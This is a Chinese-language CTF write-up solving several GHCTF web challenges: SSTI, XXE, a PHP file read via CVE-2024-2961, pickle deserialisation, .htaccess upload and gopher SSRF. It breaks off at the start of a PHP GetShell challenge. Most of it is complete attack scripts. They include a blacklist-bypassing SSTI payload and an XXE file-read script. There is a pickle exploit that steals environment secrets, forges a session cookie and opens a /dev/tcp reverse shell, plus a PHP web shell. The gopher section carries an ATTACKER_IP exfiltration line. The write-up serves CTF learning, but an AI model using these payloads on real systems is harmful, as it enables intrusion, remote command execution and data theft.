upload?SSTI!
这里先下载源码:
import os
import re
from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename
app = Flask(__name__)
# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH
# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True
return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400
file = request.files['file']
# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400
# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)
# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400
# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))
# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404
@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403
if __name__ == '__main__':
app.run("0.0.0.0",debug=False)
分析代码
@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")
# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")
# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")
suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')
if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400
with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->
<footer>
<p>© 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
这段代码是造成ssti的主要原因,然后其实是文件内容可以造成ssti,因为这里被渲染了,当然这里存在waf,过滤了一些关键词。
做法1:常规waf绕过做法(利用fenjing)
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat /flag")
print(f"{shell_payload=}")
此代码,调用了fenjing进行waf绕过,可以生成payload
shell_payload="{%set ri=lipsum|escape|batch(22)|first|last%}{{((lipsum[ri+ri+'globals'+ri+ri][ri+ri+'builtins'+ri+ri][ri+ri+'import'+ri+ri]('o''s')).popen('cat /f''lag')).read()}}"
能成功绕过。
做法2:利用条件竞争
由于waf会对我们上传的文件的内容进行检测,这时,如果我们同时发包,将正常的payload进行传递,这个过程中,只要发包数量速度够快,当服务器检测的速度慢于我们的上传速度,这个时候,就会造成正常payload的执行,从而导致RCE。
import requests
import threading
from werkzeug.utils import secure_filename
# 全局停止标志
stop_flag = False
def upload_file(target_url, filename, content):
"""持续上传文件"""
global stop_flag
while not stop_flag:
try:
files = {'file': (filename, content)}
r = requests.post(target_url, files=files)
if r.status_code == 200:
print(f"[+] 上传成功 {filename}")
except Exception as e:
print(f"上传错误: {e}")
def read_file(target_url, safe_filename):
"""持续读取文件并检查关键词"""
global stop_flag
while not stop_flag:
try:
r = requests.get(f"{target_url}/file/{safe_filename}")
if r.status_code == 200:
# 检测flag关键词
if 'NSSCTF' in r.text or 'flag' in r.text:
print("\n[+] 发现flag内容!")
print(r.text)
stop_flag = True
elif r.status_code == 404:
print(f"[-] 文件不存在 {safe_filename}")
except Exception as e:
print(f"读取错误: {e}")
def main():
# 配置参数
server_url = "http://xxxxxx"
# 用户输入文件名和内容
user_file = input("请输入文件名(例如exploit.txt): ").strip()
file_content = input("请输入文件内容: ").strip()
# 生成安全文件名
safe_name = secure_filename(user_file)
print(f"[*] 实际使用的安全文件名: {safe_name}")
# 创建并启动线程
threads = []
# 启动3个上传线程
for _ in range(3):
t = threading.Thread(target=upload_file, args=(server_url, user_file, file_content))
threads.append(t)
t.start()
# 启动5个读取线程
for _ in range(5):
t = threading.Thread(target=read_file, args=(server_url, safe_name))
threads.append(t)
t.start()
# 等待所有线程结束
for t in threads:
t.join()
if __name__ == "__main__":
main()
成功竞争出来
(>﹏<)
这道题目是典型的xxe的题目。
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
分析代码就能知道,在路由/ghctf中,以POST的方式传入参数xml,关键点在于解析XML的部分。这里使用了lxml库的etree模块,创建了一个XML解析器parser,参数是load_dtd=True和resolve_entities=True。这两个参数可能开启外部实体解析,导致XXE漏洞。
并且没有过滤
payload:
import requests
# 配置目标信息
TARGET_URL = "xxxx" # 替换为实际目标地址
FILE_TO_READ = "/flag" # 尝试读取的文件路径
# 构造恶意XML
malicious_xml = f'''<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://{FILE_TO_READ}">
]>
<root>
<name>&xxe;</name>
</root>'''
try:
# 发送恶意请求
response = requests.post(
TARGET_URL,
data={'xml': malicious_xml},
timeout=10
)
# 解析响应
if response.status_code == 200:
print("[+] 攻击成功!响应内容:")
print(response.text)
else:
print(f"[-] 请求失败,状态码:{response.status_code}")
except Exception as e:
print(f"[-] 发生错误:{str(e)}")
ez_readfile
<?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>
前面的两个条件就是强碰撞,这里不过多赘述,主要是后面的一段代码的利用。
echo file_get_contents($_GET['file']);
这个地方的利用方式,由于目标主机上面的flag。我们并不知道名字或者位置,所以这里要进行RCE
涉及到一个CVE-2024-2961。我们需要按照cve的介绍,得到以下两个东西:
maps //maps文件,路径/proc/self/maps
libc //libc文件 路径/lib/x86_64-linux-gnu/libc-2.31.so (由上述maps文件内容得到)
将base64解码以后保存为各自的文件。
再来修改poc:这里推荐
https://github.com/kezibei/php-filter-iconv
.......
maps_path = './maps'
cmd = 'echo 123 > 1.txt'
sleep_time = 1
padding = 20
if not os.path.exists(maps_path):
exit("[-]no maps file")
regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)
libc_path = libc_info.path
print("[*]download: "+libc_path)
libc_path = './libc-2.23.so'
.......
其中cmd就是命令,可以改成自己想要命令。
传入payload
成功,后面就是代码执行,找flag了,不在过多赘述。
ezzzz_pickle
题目涉及到pickle反序列化,但是并没有waf还是比较简单。
来到登录页面,利用弱口令进行登录:
admin/admin123
抓个包看一下。
这里明显是一个文件读取,但是并不能读取flag,但我们可以读取源码,进行分析
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()
users = {
"admin": "admin123",
}
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session
def dowload_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data
def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = dowload_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")
@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)
分析代码,我们只要获取了AES的加密密钥,那么我们就能够伪造,生成payload.。并且密钥在环境变量中,可以直接在/proc/self/environ中获得。那这里我们得到攻击过程,写出攻击脚本:
import requests
import base64
import pickle
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
# 配置部分
TARGET_URL = "http://node2.anna.nssctf.cn:28777/"
LOGIN_URL = f"{TARGET_URL}/login"
FILE_READ_PATH = "../../../../proc/self/environ" # 环境变量路径
LOCAL_IP = "" # 攻击者监听IP
LOCAL_PORT = 4444 # 攻击者监听端口
# 1. 登录获取合法Cookie(用于路径遍历)
def get_initial_session():
session = requests.Session()
login_data = {
"username": "admin",
"password": "admin123"
}
resp = session.post(LOGIN_URL, data=login_data)
return session
# 2. 利用路径遍历读取环境变量
def steal_secrets(session):
resp = session.post(TARGET_URL, data={"filename": FILE_READ_PATH})
if "key" in resp.text: # 简单识别是否成功
return parse_environment(resp.text)
return None
def parse_environment(env_data):
secrets = {}
for line in env_data.split('\x00'):
if 'SECRET_' in line:
key, val = line.split('=', 1)
secrets[key] = val
return secrets
# 3. 生成恶意Pickle对象
class RCE:
def __reduce__(self):
# 反弹Shell命令(根据目标环境调整)
cmd = f"/bin/bash -c 'exec /bin/bash -i &>/dev/tcp/{LOCAL_IP}/{LOCAL_PORT} <&1'"
return (os.system, (cmd,))
def generate_evil_payload():
pickled = pickle.dumps(RCE())
return base64.b64encode(pickled).decode()
# 4. 加密生成恶意Cookie
def encrypt_payload(secret_key, secret_iv, payload):
def _aes_encrypt(data, key, iv):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
padder = padding.PKCS7(128).padder()
padded = padder.update(data) + padder.finalize()
return base64.b64encode(encryptor.update(padded) + encryptor.finalize()).decode()
key = secret_key.encode()
iv = secret_iv.encode()
return _aes_encrypt(payload.encode(), key, iv)
# 5. 发送恶意请求
def exploit(evil_cookie):
headers = {"Cookie": f"session={evil_cookie}"}
resp = requests.get(TARGET_URL, headers=headers)
return resp.status_code
if __name__ == "__main__":
print("[*] 阶段1 - 获取初始会话...")
session = get_initial_session()
print("[*] 阶段2 - 窃取环境变量...")
secrets = steal_secrets(session)
if not secrets:
print("[-] 环境变量窃取失败!")
exit()
print("[+] 获取到密钥:")
print(f"SECRET_key: {secrets['SECRET_key']}")
print(f"SECRET_iv: {secrets['SECRET_iv']}")
print("[*] 阶段3 - 生成恶意负载...")
evil_payload = generate_evil_payload()
print("[*] 阶段4 - 加密生成会话Cookie...")
evil_cookie = encrypt_payload(
secrets['SECRET_key'],
secrets['SECRET_iv'],
evil_payload
)
print("[*] 阶段5 - 发送恶意请求(请确保监听器已启动)...")
status = exploit(evil_cookie)
print(f"[+] 利用完成,服务器响应状态码: {status}")
print("请检查反向Shell是否建立成功")
成功反弹!
PS:请注意,上述代码需要在Linux环境下运行,才能反弹,windows不行。
UPUPUP
文件上传,这里其实考的是apache的.htaccess文件的上传,我们上传正常的图片马。
这里唯一有一点,我们在编写.htaccess文件的时候,需要在文件的最前面添加GIF89a,以此来绕过检测,但是添加了GIF89a以后,会对htaccess文件规范性造成破坏,导致无法正常解析图片马。所以这里考到了一个
#define width 1337
#define height 1337
AddHandler application/x-httpd-php .png
这样也能够绕过检测,并且由于前面的两行绕过字符添加了注释符,并没有破坏文件的规范性,能够正常的让我们的图片马被解析。这里直接给出攻击代码。
import requests
TARGET = "xxxxx"
# 固定 boundary 与请求包一致
BOUNDARY = "----WebKitFormBoundarydYAiLNdtGCB8aQvE"
def construct_multipart_body(files_data):
"""
严格按原始请求包格式构造 multipart 内容
"""
body = []
# 文件部分
for name, filename, content, content_type in files_data:
body.append(f'--{BOUNDARY}')
body.append(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"')
body.append(f'Content-Type: {content_type}')
body.append('')
body.append(content.decode('latin-1')) # 保持二进制兼容
body.append('')
# 固定 "upload" 字段
body.append(f'--{BOUNDARY}')
body.append('Content-Disposition: form-data; name="upload"')
body.append('')
body.append('上传')
body.append(f'--{BOUNDARY}--')
return '\r\n'.join(body).encode('utf-8') # 必须用 latin-1 编码
# 构造 .htaccess 内容(修复幻数问题)
htaccess_content = (
b"#define width 1337\n" # 幻数必须在前6字节
b"#define height 1337\n" # 注释避免语法错误
b"AddHandler application/x-httpd-php .png"
)
# 构造 multipart 数据
files_data = [
("file", ".htaccess", htaccess_content, "image/png")
]
headers = {
"Host": "node2.anna.nssctf.cn:28272",
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Referer": "http://node2.anna.nssctf.cn:28272/",
# 其他头部必须与原始请求严格一致
"Cache-Control": "max-age=0",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
"Upgrade-Insecure-Requests": "1"
}
# 1. 上传 .htaccess
body = construct_multipart_body(files_data)
response = requests.post(
TARGET,
headers=headers,
data=body,
# 禁用自动计算 Content-Length
)
print(f"[*] .htaccess 上传状态码: {response.status_code}")
print(f"[*] 服务器响应: {response.text}")
# 2. 上传图片马
shell_content = (
b"GIF89a\n"
b"<?php system($_GET['cmd']); ?>")
files_data = [
("file", "shell.png", shell_content, "image/png")
]
body = construct_multipart_body(files_data)
response = requests.post(
TARGET,
headers=headers,
data=body
)
print(f"[*] Shell 上传状态码: {response.status_code}")
# 3. 触发执行(根据服务器存储路径调整)
shell_url = TARGET + "images/shell.png" # 常见存储路径可能是 /images/ 或 /uploads/
response = requests.get(shell_url, params={"cmd": "cat /flag"})
print("[+] 命令执行结果:")
print(response.text)
Goph3rrr
就看这个题目名字,就知道考的是ssrf。
来到题目,啥也没有,开始扫路由
下载源码进行分析:
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random
app = Flask(__name__)
BlackList = [
"127.0.0.1"
]
@app.route('/')
def index():
return '''
<html>
<head>
<style>
body {
background-size: cover; /* 背景图片覆盖整个页面 */
height: 100vh; /* 页面高度填满浏览器窗口 */
display: flex;
justify-content: center; /* 水平居中 */
align-items: center; /* 垂直居中 */
color: white; /* 字体颜色 */
font-family: Arial, sans-serif; /* 字体 */
text-align: center; /* 文字居中 */
}
h1 {
font-size: 50px;
transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
}
h1:hover {
transform: translateY(-10px); /* 向上浮动 */
}
</style>
</head>
<body>
<h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇≦)</h1>
</body>
</html>
'''
@app.route('/Login', methods=['GET', 'POST'])
def login():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
return b64e(f"Welcome back, {username}!")
return b64e("Invalid credentials!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #007bff;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-primary {
background-color: #007bff;
border: none;
}
.btn-primary:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Login</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Login</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")
@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
分析了代码,只发现两个路由,会对我们有用:
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
此/Gopher路由,就是造成ssrf漏洞的成因,如何利用呢?下面这个代码
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
明显可以看到,当我们以本地的身份对此/Manage路由,以POST形式传入cmd命令,就会被执行。所以我们要在/Gopher路由中,利用ssrf漏洞对/Manage进行RCE。
这里简单介绍一下ssrf中的gopher,gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。
攻击payload
import urllib.parse
import requests
def generate_gopher_payload(target_host, target_port, post_path, post_data):
crlf = "\n"
request = [
f"POST {post_path} HTTP/1.1",
f"Host: {target_host}:{target_port}",
"Content-Type: application/x-www-form-urlencoded",
f"Content-Length: {len(post_data)}",
"", # 空行分隔 Header 和 Body
post_data
]
raw_payload = crlf.join(request)
# === 第一次编码 ===
# 保留关键符号:/ : (避免破坏协议结构)
encoded_payload = urllib.parse.quote(raw_payload, safe="/:")
# 将单换行符 %0A 替换为 %0D%0A
encoded_payload = encoded_payload.replace("%0A", "%0D%0A")
# === 第二次编码 ===
encoded_payload = urllib.parse.quote(encoded_payload, safe="")
# 构造 Gopher URL
gopher_url = f"gopher://{target_host}:{target_port}/_{encoded_payload}"
return gopher_url
def ssrf_attack(ssrf_url, gopher_url):
final_payload = gopher_url
full_url = f"{ssrf_url}{final_payload}"
# 发送请求
response = requests.get(full_url)
print(f"[+] 响应状态码: {response.status_code}")
print(f"[+] 响应内容:\n{response.text}")
if __name__ == "__main__":
# 攻击配置
TARGET_HOST = "0.0.0.0"
TARGET_PORT = "8000"
POST_PATH = "/Manage"
POST_DATA = "cmd=env" # 或 "cmd=curl http://ATTACKER_IP/$(id|base64)"
# 存在 SSRF 漏洞的 URL(实际目标)
SSRF_VULNERABLE_URL = "http://node2.anna.nssctf.cn:28953/Gopher?url="
# 生成 Payload
gopher_url = generate_gopher_payload(TARGET_HOST, TARGET_PORT, POST_PATH, POST_DATA)
print(f"[*] 合法的 Gopher URL:\n{gopher_url}")
# 发起攻击
ssrf_attack(SSRF_VULNERABLE_URL, gopher_url)
这是针对本题目而进行的payload编写,虽然不适用于全部的题目,但是在数据流为POST的情况下,还是能起到一些作用。
成功执行命令获得flag。
GetShell
访问题目得到代码:
<?php
highlight_file(__FILE__);
class ConfigLoader {
private $config;
public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
class Logger {
private $logLevel;
public function __construct($logLevel) {
$this->logLevel = $logLevel;
}
public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}
class UserManager {
private $users = [];
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}
if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}
$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}
public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}
class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}
class InputValidator {
private $maxLength;
public function __construct($maxLength) {
$this->maxLength = $maxLength;
}
public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}
class CommandExecutor {
private $logger;
public function __construct($logger) {
$this->logger = $logger;
}
public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}
@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}
class ActionHandler {
private $config;
private $logger;
private $executor;
public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}
public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}
if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}
return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}
return "Unknown action";
}
}
if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
